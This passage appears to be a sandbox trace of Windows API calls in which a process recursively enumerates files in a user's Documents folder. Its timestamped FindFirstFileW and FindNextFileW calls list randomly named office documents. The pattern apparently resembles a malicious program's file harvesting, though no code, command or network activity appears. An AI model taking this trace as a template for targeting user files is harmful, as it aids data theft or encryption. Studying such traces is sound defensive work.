ftLastAccessTime.dwHighDateTime=0x1d99d94, ftLastWriteTime.dwLowDateTime=0xd58ba640, ftLastWriteTime.dwHighDateTime=0x1d99d94, nFileSizeHigh=0x0, nFileSizeLow=0x261c, dwReserved0=0x0, dwReserved1=0x0, cFileName="tbolTOBf6oytAdVf.xls", cAlternateFileName="TBOLTO~1.XLS")) returned 1 [0162.363] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc43b940, ftCreationTime.dwHighDateTime=0x1d94aa7, ftLastAccessTime.dwLowDateTime=0xca1d18b0, ftLastAccessTime.dwHighDateTime=0x1d9957f, ftLastWriteTime.dwLowDateTime=0xca1d18b0, ftLastWriteTime.dwHighDateTime=0x1d9957f, nFileSizeHigh=0x0, nFileSizeLow=0xe51c, dwReserved0=0x0, dwReserved1=0x0, cFileName="tcbu3AshPzFcR2r8Ck o.docx", cAlternateFileName="TCBU3A~1.DOC")) returned 1 [0162.364] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x142e0fa0, ftCreationTime.dwHighDateTime=0x1d994fd, ftLastAccessTime.dwLowDateTime=0xaaed6420, ftLastAccessTime.dwHighDateTime=0x1d9986a, ftLastWriteTime.dwLowDateTime=0xaaed6420, ftLastWriteTime.dwHighDateTime=0x1d9986a, nFileSizeHigh=0x0, nFileSizeLow=0x140e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="UYWqtSLk mI.docx", cAlternateFileName="UYWQTS~1.DOC")) returned 1 [0162.364] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29e5e1a0, ftCreationTime.dwHighDateTime=0x1d996a2, ftLastAccessTime.dwLowDateTime=0xec849160, ftLastAccessTime.dwHighDateTime=0x1d99702, ftLastWriteTime.dwLowDateTime=0xec849160, ftLastWriteTime.dwHighDateTime=0x1d99702, nFileSizeHigh=0x0, nFileSizeLow=0xd329, dwReserved0=0x0, dwReserved1=0x0, cFileName="V3DYlPpf2GJNJe8cy.odt", cAlternateFileName="V3DYLP~1.ODT")) returned 1 [0162.364] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d711c10, ftCreationTime.dwHighDateTime=0x1d99797, ftLastAccessTime.dwLowDateTime=0x22788360, ftLastAccessTime.dwHighDateTime=0x1d99ba6, ftLastWriteTime.dwLowDateTime=0x22788360, ftLastWriteTime.dwHighDateTime=0x1d99ba6, nFileSizeHigh=0x0, nFileSizeLow=0x1886a, dwReserved0=0x0, dwReserved1=0x0, cFileName="wG1fdnel S3Rpj.ods", cAlternateFileName="WG1FDN~1.ODS")) returned 1 [0162.364] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa470afe0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa470afe0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsPowerShell", cAlternateFileName="WINDOW~1")) returned 1 [0162.364] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a79900, ftCreationTime.dwHighDateTime=0x1d95aec, ftLastAccessTime.dwLowDateTime=0xeba4e320, ftLastAccessTime.dwHighDateTime=0x1d9776e, ftLastWriteTime.dwLowDateTime=0xeba4e320, ftLastWriteTime.dwHighDateTime=0x1d9776e, nFileSizeHigh=0x0, nFileSizeLow=0x3ac2, dwReserved0=0x0, dwReserved1=0x0, cFileName="yl14C.docx", cAlternateFileName="YL14C~1.DOC")) returned 1 [0162.365] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47053c70, ftCreationTime.dwHighDateTime=0x1d996db, ftLastAccessTime.dwLowDateTime=0xd3199990, ftLastAccessTime.dwHighDateTime=0x1d99b8b, ftLastWriteTime.dwLowDateTime=0xd3199990, ftLastWriteTime.dwHighDateTime=0x1d99b8b, nFileSizeHigh=0x0, nFileSizeLow=0x8135, dwReserved0=0x0, dwReserved1=0x0, cFileName="zm9nla-NPD71l4thrEn.xls", cAlternateFileName="ZM9NLA~1.XLS")) returned 1 [0162.365] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bfe1b30, ftCreationTime.dwHighDateTime=0x1d948ee, ftLastAccessTime.dwLowDateTime=0x233050d0, ftLastAccessTime.dwHighDateTime=0x1d95b5f, ftLastWriteTime.dwLowDateTime=0x233050d0, ftLastWriteTime.dwHighDateTime=0x1d95b5f, nFileSizeHigh=0x0, nFileSizeLow=0xc742, dwReserved0=0x0, dwReserved1=0x0, cFileName="zVu_x.xlsx", cAlternateFileName="ZVU_X~1.XLS")) returned 1 [0162.365] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0162.365] FindClose (in: hFindFile=0x3b4f68 | out: hFindFile=0x3b4f68) returned 1 [0162.365] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e94c) returned 1 [0162.365] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ebac) returned 1 [0162.366] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30")) returned 0x10 [0162.366] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30")) returned 0x10 [0162.366] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0162.366] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", nBufferLength=0x25, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", lpFilePart=0x0) returned 0x24 [0162.366] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb10) returned 1 [0162.366] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0162.366] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", nBufferLength=0x25, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", lpFilePart=0x0) returned 0x24 [0162.366] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\*"), lpFindFileData=0x5a2e8c0 | out: lpFindFileData=0x5a2e8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb47d190, ftCreationTime.dwHighDateTime=0x1d992c9, ftLastAccessTime.dwLowDateTime=0xd4bcee30, ftLastAccessTime.dwHighDateTime=0x1d99318, ftLastWriteTime.dwLowDateTime=0xd4bcee30, ftLastWriteTime.dwHighDateTime=0x1d99318, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4f68 [0162.367] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb10) returned 1 [0162.367] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0162.367] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", nBufferLength=0x25, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", lpFilePart=0x0) returned 0x24 [0162.367] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\*"), lpFindFileData=0x5a2e8c0 | out: lpFindFileData=0x5a2e8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb47d190, ftCreationTime.dwHighDateTime=0x1d992c9, ftLastAccessTime.dwLowDateTime=0xd4bcee30, ftLastAccessTime.dwHighDateTime=0x1d99318, ftLastWriteTime.dwLowDateTime=0xd4bcee30, ftLastWriteTime.dwHighDateTime=0x1d99318, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4f28 [0162.367] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb47d190, ftCreationTime.dwHighDateTime=0x1d992c9, ftLastAccessTime.dwLowDateTime=0xd4bcee30, ftLastAccessTime.dwHighDateTime=0x1d99318, ftLastWriteTime.dwLowDateTime=0xd4bcee30, ftLastWriteTime.dwHighDateTime=0x1d99318, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.367] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x698a2d00, ftCreationTime.dwHighDateTime=0x1d99320, ftLastAccessTime.dwLowDateTime=0xabe0e4e0, ftLastAccessTime.dwHighDateTime=0x1d998b7, ftLastWriteTime.dwLowDateTime=0xabe0e4e0, ftLastWriteTime.dwHighDateTime=0x1d998b7, nFileSizeHigh=0x0, nFileSizeLow=0xd15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="5D01uFxJEQEiVQ.odt", cAlternateFileName="5D01UF~1.ODT")) returned 1 [0162.367] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd331e910, ftCreationTime.dwHighDateTime=0x1d99905, ftLastAccessTime.dwLowDateTime=0x13832370, ftLastAccessTime.dwHighDateTime=0x1d999fc, ftLastWriteTime.dwLowDateTime=0x13832370, ftLastWriteTime.dwHighDateTime=0x1d999fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ahvIkv6BhGP", cAlternateFileName="AHVIKV~1")) returned 1 [0162.368] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f88450, ftCreationTime.dwHighDateTime=0x1d992fe, ftLastAccessTime.dwLowDateTime=0xbe85c920, ftLastAccessTime.dwHighDateTime=0x1d998bd, ftLastWriteTime.dwLowDateTime=0xbe85c920, ftLastWriteTime.dwHighDateTime=0x1d998bd, nFileSizeHigh=0x0, nFileSizeLow=0x68cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Jyu4xCBus55F.pps", cAlternateFileName="JYU4XC~1.PPS")) returned 1 [0162.368] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf85ff990, ftCreationTime.dwHighDateTime=0x1d98f08, ftLastAccessTime.dwLowDateTime=0x69f07f80, ftLastAccessTime.dwHighDateTime=0x1d996bb, ftLastWriteTime.dwLowDateTime=0x69f07f80, ftLastWriteTime.dwHighDateTime=0x1d996bb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="qJEcmQ", cAlternateFileName="")) returned 1 [0162.368] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0162.368] FindClose (in: hFindFile=0x3b4f68 | out: hFindFile=0x3b4f68) returned 1 [0162.368] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8cc) returned 1 [0162.368] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb2c) returned 1 [0162.368] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb47d190, ftCreationTime.dwHighDateTime=0x1d992c9, ftLastAccessTime.dwLowDateTime=0xd4bcee30, ftLastAccessTime.dwHighDateTime=0x1d99318, ftLastWriteTime.dwLowDateTime=0xd4bcee30, ftLastWriteTime.dwHighDateTime=0x1d99318, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.368] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x698a2d00, ftCreationTime.dwHighDateTime=0x1d99320, ftLastAccessTime.dwLowDateTime=0xabe0e4e0, ftLastAccessTime.dwHighDateTime=0x1d998b7, ftLastWriteTime.dwLowDateTime=0xabe0e4e0, ftLastWriteTime.dwHighDateTime=0x1d998b7, nFileSizeHigh=0x0, nFileSizeLow=0xd15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="5D01uFxJEQEiVQ.odt", cAlternateFileName="5D01UF~1.ODT")) returned 1 [0162.368] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd331e910, ftCreationTime.dwHighDateTime=0x1d99905, ftLastAccessTime.dwLowDateTime=0x13832370, ftLastAccessTime.dwHighDateTime=0x1d999fc, ftLastWriteTime.dwLowDateTime=0x13832370, ftLastWriteTime.dwHighDateTime=0x1d999fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ahvIkv6BhGP", cAlternateFileName="AHVIKV~1")) returned 1 [0162.369] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f88450, ftCreationTime.dwHighDateTime=0x1d992fe, ftLastAccessTime.dwLowDateTime=0xbe85c920, ftLastAccessTime.dwHighDateTime=0x1d998bd, ftLastWriteTime.dwLowDateTime=0xbe85c920, ftLastWriteTime.dwHighDateTime=0x1d998bd, nFileSizeHigh=0x0, nFileSizeLow=0x68cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Jyu4xCBus55F.pps", cAlternateFileName="JYU4XC~1.PPS")) returned 1 [0162.369] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf85ff990, ftCreationTime.dwHighDateTime=0x1d98f08, ftLastAccessTime.dwLowDateTime=0x69f07f80, ftLastAccessTime.dwHighDateTime=0x1d996bb, ftLastWriteTime.dwLowDateTime=0x69f07f80, ftLastWriteTime.dwHighDateTime=0x1d996bb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="qJEcmQ", cAlternateFileName="")) returned 1 [0162.369] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e914 | out: lpFindFileData=0x5a2e914*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf85ff990, ftCreationTime.dwHighDateTime=0x1d98f08, ftLastAccessTime.dwLowDateTime=0x69f07f80, ftLastAccessTime.dwHighDateTime=0x1d996bb, ftLastWriteTime.dwLowDateTime=0x69f07f80, ftLastWriteTime.dwHighDateTime=0x1d996bb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="qJEcmQ", cAlternateFileName="")) returned 0 [0162.369] FindClose (in: hFindFile=0x3b4f28 | out: hFindFile=0x3b4f28) returned 1 [0162.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8cc) returned 1 [0162.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb2c) returned 1 [0162.369] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp")) returned 0x10 [0162.370] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp")) returned 0x10 [0162.370] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0162.370] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP", lpFilePart=0x0) returned 0x30 [0162.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea90) returned 1 [0162.370] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0162.370] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP", lpFilePart=0x0) returned 0x30 [0162.370] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\*"), lpFindFileData=0x5a2e840 | out: lpFindFileData=0x5a2e840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd331e910, ftCreationTime.dwHighDateTime=0x1d99905, ftLastAccessTime.dwLowDateTime=0x13832370, ftLastAccessTime.dwHighDateTime=0x1d999fc, ftLastWriteTime.dwLowDateTime=0x13832370, ftLastWriteTime.dwHighDateTime=0x1d999fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4f28 [0162.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea90) returned 1 [0162.370] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0162.370] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP", lpFilePart=0x0) returned 0x30 [0162.371] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\*"), lpFindFileData=0x5a2e840 | out: lpFindFileData=0x5a2e840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd331e910, ftCreationTime.dwHighDateTime=0x1d99905, ftLastAccessTime.dwLowDateTime=0x13832370, ftLastAccessTime.dwHighDateTime=0x1d999fc, ftLastWriteTime.dwLowDateTime=0x13832370, ftLastWriteTime.dwHighDateTime=0x1d999fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4f68 [0162.371] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd331e910, ftCreationTime.dwHighDateTime=0x1d99905, ftLastAccessTime.dwLowDateTime=0x13832370, ftLastAccessTime.dwHighDateTime=0x1d999fc, ftLastWriteTime.dwLowDateTime=0x13832370, ftLastWriteTime.dwHighDateTime=0x1d999fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.371] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d992890, ftCreationTime.dwHighDateTime=0x1d99549, ftLastAccessTime.dwLowDateTime=0x6186a2b0, ftLastAccessTime.dwHighDateTime=0x1d99a68, ftLastWriteTime.dwLowDateTime=0x6186a2b0, ftLastWriteTime.dwHighDateTime=0x1d99a68, nFileSizeHigh=0x0, nFileSizeLow=0x3a2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="1O4.csv", cAlternateFileName="")) returned 1 [0162.371] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ced4b0, ftCreationTime.dwHighDateTime=0x1d99b45, ftLastAccessTime.dwLowDateTime=0xa087f450, ftLastAccessTime.dwHighDateTime=0x1d99be9, ftLastWriteTime.dwLowDateTime=0xa087f450, ftLastWriteTime.dwHighDateTime=0x1d99be9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="9dBEoJADWjyNbxb", cAlternateFileName="9DBEOJ~1")) returned 1 [0162.372] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f24e3a0, ftCreationTime.dwHighDateTime=0x1d99239, ftLastAccessTime.dwLowDateTime=0x6a091470, ftLastAccessTime.dwHighDateTime=0x1d99817, ftLastWriteTime.dwLowDateTime=0x6a091470, ftLastWriteTime.dwHighDateTime=0x1d99817, nFileSizeHigh=0x0, nFileSizeLow=0xa13b, dwReserved0=0x0, dwReserved1=0x0, cFileName="apPn7N4hT Lo.pdf", cAlternateFileName="APPN7N~1.PDF")) returned 1 [0162.372] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d51520, ftCreationTime.dwHighDateTime=0x1d99a4a, ftLastAccessTime.dwLowDateTime=0x81234660, ftLastAccessTime.dwHighDateTime=0x1d99b4d, ftLastWriteTime.dwLowDateTime=0x81234660, ftLastWriteTime.dwHighDateTime=0x1d99b4d, nFileSizeHigh=0x0, nFileSizeLow=0x1795c, dwReserved0=0x0, dwReserved1=0x0, cFileName="B77 gdQD3RQ-F8wv1.rtf", cAlternateFileName="B77GDQ~1.RTF")) returned 1 [0162.372] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x213aec10, ftCreationTime.dwHighDateTime=0x1d990aa, ftLastAccessTime.dwLowDateTime=0xab564c70, ftLastAccessTime.dwHighDateTime=0x1d99567, ftLastWriteTime.dwLowDateTime=0xab564c70, ftLastWriteTime.dwHighDateTime=0x1d99567, nFileSizeHigh=0x0, nFileSizeLow=0xccf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="hd6YwW0KHas8.ppt", cAlternateFileName="HD6YWW~1.PPT")) returned 1 [0162.372] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3925c520, ftCreationTime.dwHighDateTime=0x1d99217, ftLastAccessTime.dwLowDateTime=0x6b3e1ee0, ftLastAccessTime.dwHighDateTime=0x1d9942e, ftLastWriteTime.dwLowDateTime=0x6b3e1ee0, ftLastWriteTime.dwHighDateTime=0x1d9942e, nFileSizeHigh=0x0, nFileSizeLow=0xdc08, dwReserved0=0x0, dwReserved1=0x0, cFileName="mHccYT.docx", cAlternateFileName="MHCCYT~1.DOC")) returned 1 [0162.372] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdec26120, ftCreationTime.dwHighDateTime=0x1d99b75, ftLastAccessTime.dwLowDateTime=0x7fdda1c0, ftLastAccessTime.dwHighDateTime=0x1d99c23, ftLastWriteTime.dwLowDateTime=0x7fdda1c0, ftLastWriteTime.dwHighDateTime=0x1d99c23, nFileSizeHigh=0x0, nFileSizeLow=0x14e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="n7u6-hdfZCMK12Ax.ppt", cAlternateFileName="N7U6-H~1.PPT")) returned 1 [0162.372] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x130fc420, ftCreationTime.dwHighDateTime=0x1d99399, ftLastAccessTime.dwLowDateTime=0xd294f3f0, ftLastAccessTime.dwHighDateTime=0x1d99b01, ftLastWriteTime.dwLowDateTime=0xd294f3f0, ftLastWriteTime.dwHighDateTime=0x1d99b01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="n_Go2 uXegR7yuru5EXh", cAlternateFileName="N_GO2U~1")) returned 1 [0162.372] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0162.372] FindClose (in: hFindFile=0x3b4f28 | out: hFindFile=0x3b4f28) returned 1 [0162.372] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e84c) returned 1 [0162.372] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eaac) returned 1 [0162.372] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e894 | out: lpFindFileData=0x5a2e894*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd331e910, ftCreationTime.dwHighDateTime=0x1d99905, ftLastAccessTime.dwLowDateTime=0x13832370, ftLastAccessTime.dwHighDateTime=0x1d999fc, ftLastWriteTime.dwLowDateTime=0x13832370, ftLastWriteTime.dwHighDateTime=0x1d999fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 